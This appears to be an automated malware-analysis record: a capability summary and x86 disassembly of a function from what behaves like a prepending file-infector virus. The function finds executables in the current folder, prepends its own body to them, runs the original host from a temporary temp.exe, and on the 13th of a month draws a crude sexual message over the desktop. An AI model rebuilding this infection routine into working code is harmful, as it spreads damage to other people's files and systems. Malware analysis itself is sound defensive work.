Function at 0x402000
Capabilities:
Create process on windows
Delete file
Enumerate files on windows
Get common file path
Get file size
Read file via mapping
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push 0x40113e
call dword [sym.imp.KERNEL32.DLL_GetLocalTime]
mov dx, word [0x40114a]
shl edx, 0x10
mov dx, word [0x40114c]
mov dword [0x4011a1], edx
cmp word [0x401144], 0xd
je 0x402348
push 0xc01
push 0
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov dword [0x40117a], eax
push dword [0x40117a]
push 0xc00
call dword [sym.imp.KERNEL32.DLL_GetCurrentDirectoryA]
push 0xc00
push 0
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov dword [0x40117e], eax
push 0xc00
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push dword [0x40117a]
push 0x40118b
call fcn.004022fd
mov dword [0x40117a], eax
push section..data
push dword [0x40117a]
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
mov dword [0x401156], eax
cmp eax, 0
je 0x402231
mov eax, dword [section..data]
test eax, 0x10
jne 0x4021f7
push 0
push pe_nt_image_headers32
push 3
push 0
push 1
push 0x10000000
push 0x40102c
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [0x40115a], eax
cmp eax, 0xffffffff
je 0x402203
push 0
push dword [0x401020]
push 0
push 4
push 0
push dword [0x40115a]
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingA]
mov dword [0x40115e], eax
push 0
push 0
push 0
push 0xf001f
push eax
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
mov dword [0x401162], eax
mov bx, word [0x40119d]
cmp bx, word [eax]
jne 0x4021f7
add eax, 0x1e
test word [eax], 1
jne 0x4021f7
mov ecx, dword [0x401020]
add ecx, 0x10800
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov dword [0x401172], eax
push 0
push pe_nt_image_headers32
push 3
push 0
push 1
push 0x80000000
push dword [0x40117e]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [0x401166], eax
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
push eax
push 0
push eax
push 0
push 2
push 0
push dword [0x401166]
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingA]
mov dword [0x40116a], eax
push 0
push 0
push 0
push 4
push eax
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
mov dword [0x40116e], eax
mov esi, eax
mov edi, dword [0x401172]
mov ecx, 0x10800
repne movsb byte es:[edi], byte [esi]
mov esi, dword [0x401162]
mov ecx, dword [0x401020]
repne movsb byte es:[edi], byte [esi]
mov ecx, dword [0x401020]
add ecx, 0x10800
push 0
push 0
push ecx
push dword [0x401172]
push dword [0x40115a]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push dword [0x401172]
call dword [sym.imp.KERNEL32.DLL_GlobalFree]
push dword [0x40115e]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [0x401162]
call dword [sym.imp.KERNEL32.DLL_UnmapViewOfFile]
push dword [0x40115a]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push section..data
push dword [0x401156]
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
jmp 0x40209e
push 0
push 2
push 2
push 0
push 1
push 0x10000000
push str.temp.exe
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [0x401176], eax
pop ecx
sub ecx, 0x10800
mov eax, dword [0x40116e]
add eax, 0x10800
push 0
push 0
push ecx
push eax
push dword [0x401176]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push dword [0x401176]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [0x40116e]
call dword [sym.imp.KERNEL32.DLL_UnmapViewOfFile]
push dword [0x401166]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [0x40116a]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 5
push 0
push 0
push str.temp.exe
push 0
push 0
call dword [sym.imp.SHELL32.DLL_ShellExecuteA]
push str.temp.exe
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push dword [0x40117e]
call dword [sym.imp.KERNEL32.DLL_GlobalFree]
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
call dword [sym.imp.USER32.DLL_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.DLL_GetWindowDC]
mov dword [0x40114e], eax
push eax
call dword [sym.imp.GDI32.DLL_CreateCompatibleDC]
mov dword [0x401152], eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push 0x12c
push eax
call dword [sym.imp.USER32.DLL_LoadBitmapA]
push eax
push dword [0x401152]
call dword [sym.imp.GDI32.DLL_SelectObject]
push 0
push dword [0x40114e]
call dword [sym.imp.GDI32.DLL_SetBkColor]
push 0xcc0020
push 0
push 0
push dword [0x401152]
push 0x176
push 0x139
push 0
push 0
push dword [0x40114e]
call dword [sym.imp.GDI32.DLL_BitBlt]
push 0x14
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov ebx, dword [0x4011a1]
shr ebx, 0x10
push ebx
push dword [0x40114e]
call dword [sym.imp.GDI32.DLL_SetTextColor]
call fcn.00402422
xor edx, edx
mov eax, dword [0x4011a1]
mov ebx, 0x781
div ebx
mov ecx, edx
xor edx, edx
mov eax, dword [0x4011a1]
mov ebx, 0x439
div ebx
push 0xe
push str.Damn__nice_ass
push edx
push ecx
push dword [0x40114e]
call dword [sym.imp.GDI32.DLL_TextOutA]
push 0x14
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x402395